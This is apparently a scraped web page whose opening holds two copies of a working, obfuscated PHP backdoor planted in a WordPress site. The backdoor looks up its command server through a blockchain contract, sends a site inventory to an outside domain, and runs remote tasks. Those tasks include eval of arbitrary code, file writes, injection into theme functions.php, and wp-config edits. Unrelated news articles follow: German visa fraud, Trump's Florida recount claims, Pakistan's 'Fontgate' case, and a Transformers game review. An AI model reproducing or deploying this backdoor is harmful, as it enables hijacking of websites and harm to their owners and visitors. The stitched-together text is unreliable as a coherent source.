// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The corrupt schemes “have been run smoothly [by employees] in the visa centers of many German diplomatic missions abroad,” and the Middle East in particular, German Der Spiegel weekly said in its reports, calling the consulates an “Achilles heel” in the fight against people smuggling. The paper also calls the local employees a “weak spot” of German visa departments, as it is they who usually work with people smugglers.
A German consulate in Iraq’s northern city of Erbil was particularly involved in one such fraudulent scheme, according to the paper’s investigation. Local human traffickers offered to get their clients visas through corrupt consulate officials without the need for an approval by the visa and registration department in Germany. A false document, which could allow a would-be asylum seeker to legally enter Germany as part of a refugee reception program, cost between $ 3,000 and $ 13,000.
The shady scheme reportedly ran smoothly between August and December 2017 until finally came to the attention of Foreign Ministry officials. The forgers managed to sell some two dozen visas over this period, Der Spiegel says, adding that the real number of such cases might be much greater.
A similar scheme was run by an employee at a German consulate in Beirut, Lebanon, identified as Mohamad J. The man is reported to have been handling a lucrative visa trade in the consulate between December 2014 and May 2015. He is now facing charges in Germany over 11 instances of selling visas. However, the real number may be much larger, as the investigators have identified as many as 201 suspicious visa applications processed in the consulate over that period.
The German authorities, however, seem to be surprisingly reluctant to investigate such cases. According to Der Spiegel, such probes are usually set in motion only after such incidents hit the media headlines. The authorities started actively investigating the Beirut consulate fraud only after German WDR broadcaster reported on it in its ‘Monitor’ show.
In the case of Erbil, the Foreign Ministry allegedly informed law enforcement agencies about the problem back in December 2017. However, this case apparently remained buried in police bureaucracy for almost a year until the Public Prosecutor’s Office finally launched criminal proceedings against the suspected forgers in October 2018.
The local employees suspected of corruption and visa forgery are still working in Erbil consulate, according to Der Spiegel. The infamous Mohamad J. from the Beirut consulate and his accomplice are now living in Germany, and are allowed to roam free as they await a court hearing on their case.
]]>
Recounts to decide Florida’s next governor and senator have been tainted by foul play, Donald Trump has claimed, sparking accusations that the president is undermining the democratic process by pushing conspiracies.
Ascending once again to his presidential Twitter pulpit, Donald Trump wrote on Monday that the Florida recounts were a sham and that the elections should be called in favor of outgoing Governor Rick Scott and former US Representative for Florida’s 6th congressional district Ron DeSantis, both Republicans holding slim leads in their respective races for Senate and governor.
The Florida Election should be called in favor of Rick Scott and Ron DeSantis in that large numbers of new ballots showed up out of nowhere, and many ballots are missing or forged. An honest vote count is no longer possible-ballots massively infected. Must go with Election Night!
— Donald J. Trump (@realDonaldTrump) November 12, 2018
“Large numbers of new ballots showed up out of nowhere, and many ballots are missing or forged. An honest vote count is no longer possible – ballots massively infected. Must go with Election Night!” the president tweeted.
Basically everything Donald Trump tweets becomes headline news, but this particularly incendiary claim nearly broke the internet.
“This is not a joke. This is another move toward autocracy – a president interfering in a lawful process to count ballots and also lying about non-existent fraud,” warned Washington Post columnist EJ Dionne.
"#Trump calls for halting recounts in Florida races for governor and Senate." @washingtonpost
This is not a joke. This is another move toward autocracy–a president interfering in a lawful process to count ballots and also lying about non-existent fraud.https://t.co/LZ5AlFpL9o
— EJ Dionne (@EJDionne) November 12, 2018
Media outlets wasted little time in shutting down Trump’s allegations, tweeting out “facts” to counter the president’s “claim.”
CLAIM: Trump says "An honest vote count is no longer possible — ballots massively infected. Must go with Election Night!”
FACT: Florida accepts absentee ballots from military members and dependents stationed overseas through Nov. 16 https://t.co/VlA9dd6SHvpic.twitter.com/eoBwS6MUk4
— Yahoo News (@YahooNews) November 12, 2018
Tallahassee Mayor Andrew Gillum – the Democratic candidate facing off with DeSantis for Florida’s Senate seat – speculated that the president was nervous that a proper recount could reverse the GOP’s fortunes in Florida. “You sound nervous. #CountEveryVote,” he wrote.
The close margins in both elections – DeSantis led Gillum by less than 0.5 percentage points, while the Senate race saw an even smaller margin of 0.25 percentage points in Scott’s favour – triggered an automatic recount, with results expected for Thursday.
While Trump’s choice of words were, as always, questionable at best, Florida’s courts would likely dispute the notion that there is nothing fishy about the hotly contested elections.
A Florida judge has sided with Scott in a suit filed against Broward County elections supervisor, Brenda Snipes, and Palm Beach County election supervisor Susan Busher, which alleges the mishandling of ballots. The court ordered that both officials turn over records for inspection – but Snipes did not comply.
The case has raised eyebrows – even prompting the Green Party’s Jill Stein to weigh in.
TWEET: https://twitter.com/DrJillStein/status/1060750584591122432
With Florida heading for a recount with Governor & Senate seats at stake, media needs to investigate suspicious activity in Broward County. @Tim_Canova raising alarm about suspect handling of ballots in county where Election Supervisor admitted destroying 2016 ballots illegally. https://t.co/PFoYJB4cmA
— Dr. Jill Stein🌻 (@DrJillStein) November 9, 2018
]]>
A scandal is raging in Pakistan over a report claiming that the PM’s daughter, Maryam, forged documents for an investigation into illegal offshore properties using a Microsoft Word font introduced years after the documents were allegedly created.
The papers she submitted were for a team looking into unlawful offshore properties mentioned in the leaked Panama Papers.
The Joint Investigation Team (JIT), which was formed in May specifically to probe Pakistani Prime Minister Nawaz Sharif, presented its final report before the country’s Supreme Court on Monday.
Over the past two months, the investigators collected evidence and documents connected to the business dealings of the Sharif family, which has been accused of money laundering and corruption. They also recorded statements from witnesses, seven of whom were members of the Sharif family.
One of the most shocking discoveries was that the text in documents Maryam sent to the investigators , allegedly from 2006, was rendered in the “Calibri” font, which only became available on January 31, 2007, the report published by Express Tribune, says on page 54.
Calibri was developed in 2004, but only appeared in Microsoft Word in 2007, according to the news outlet.
Maryam has also been accused of accumulating “assets disproportionate and beyond means of known sources of income,” Dawn newspaper reported on Tuesday.
The JIT report said, “She had been receiving heavy gifts from Rs 73.5 million [$ 700,000] to Rs 830.73 million [$ 7,900,000] within period of 2009-2016.”
The report concluded that the “accumulation of Maryam’s assets shows a drastic hike in the early 1990s with no declared source of income.”
Sharif’s government has slammed the report, with Planning Minister Ahsan Iqbal branding it “a piece of trash.”
“We throw it into the bin,” he added, claiming the allegations were “frivolous” and that “an effort has been made to malign [Sharif].”
Maryam took to Twitter to express outrage as well, vowing to contest the report’s conclusions.
JIT report REJECTED. Every contradiction will not only be contested but decimated in SC. NOT a penny of public exchequer involved: PMLN
— Maryam Nawaz Sharif (@MaryamNSharif) July 10, 2017
However, a source close to the government has told the Express Tribune that the leadership is concerned, and the “possibility to step down will be taken into account depending on how the proceedings of the Panamagate case in the top court unfold further.”
The story has started to trend online, with Twitter users jokingly hashtagging it #Fontgate.
]]>

Random paid character drops in mobile games aren’t new, but I’m really feeling the burn in Kabam’s mobile fighting game Transformers: Forged to Fight. First I missed out on Beast Wars Waspinator. Now I’m not going to get Soundwave. Ugh.
Because I love the Transformers characters and concept and the fighting isn’t too shabby, I’m willing to suffer through all the extraneous mechanics Kabam’s packed into Forged to Fight. But after missing out on one of my favorite characters and the prospect of another passing me by, my enthusiasm is starting to wane.

First I spent the majority of a weekend fighting through arena battles for the chance to acquire Waspinator, the hapless insect and one-time Starscream’s ghost host body from the Beast Wars series. I sat in the bathroom (and probably other places) and did battle against other players’ teams, desperately trying to either earn crystals for a chance to unlock Waspy, or to place on the battle leaderboards. I did neither. Waspinator never gets what Waspinator wants.
And now we have Soundwave. I spent countless hours talking to myself in Soundwave’s voice as a child, trying to nail down the metallic timber in his emotionless voice. I was so excited when I got the message that he was available in the game today, I spent $ 10 immediately in order to open a couple premium crystals.
Thing is, Soundwave isn’t in premium crystals. A couple of hours after getting the message that he was available today, I got another message telling me he was exclusively available in special Soundwave-centric crystals.

Fine. My mistake. I’ll just buy a little more. What’s $ 5?

For one thing, $ 5 is not enough to open a Soundwave crystal. I ended up having to spend $ 10 for one chance. I activated the Space Bridge . . .

. . . and came up empty. I mean, I got a character, but it was movie Hound. So basically I came up empty.

And that’s probably it for me. I’m not going to sit and battle through the arena again. There’s no way I’d reach the rank to win Soundwave, and the chances of scoring him in a random crystal are two low to justify the expense. I refuse to be a whale, even if that whale transforms into a giant robot and then combines with other sea-themed robots to form Oceanus.
![]()
Unable to wait for its nebulous spring release in the United States, I went undercover as a Canadian to get my hands on the massive robot battles of Transformers: Forged to Fight. It was worth it.
This piece originally appeared 3/28/17. We’ve bumped it up because Transformers: Forged to Fight is now available.
Transformers: Forged to Fight is a cross-generational fighting game from mobile game developer Kabam, creators of the popular Marvel Comics fighting game Contest of Champions. Forged to Fight is basically an evolution of the Contest of Champions fighting engine, adding an element of 3D motion via a sidestepping mechanic.
Transformers: Forged to Fight is due out in the U.S. later this spring, which is far too long. In order to facilitate early play, I downloaded it via my Canadian iTunes account and used a VPN to tell the game I was in Canada, maybe eating some poutine or getting some free medical care.
Transformers from all across franchise history are being drawn to into battle by a mysterious, many-faced enemy. Characters from the first generation, Beast Wars, the Michael Bayverse and more are pitted against each other in one-on-one battles.

The story unfolds through a series of single-player chapters, in which fan-favorite G1 human Marissa Faireborn acts as battle commander for a force made up of Autobots, Decepticons, Maximals and (eventually) Predacons.

Each stage is a map with branching paths, allowing players to veer off the path of least resistance in order to battle powerful foes for more substantial rewards.
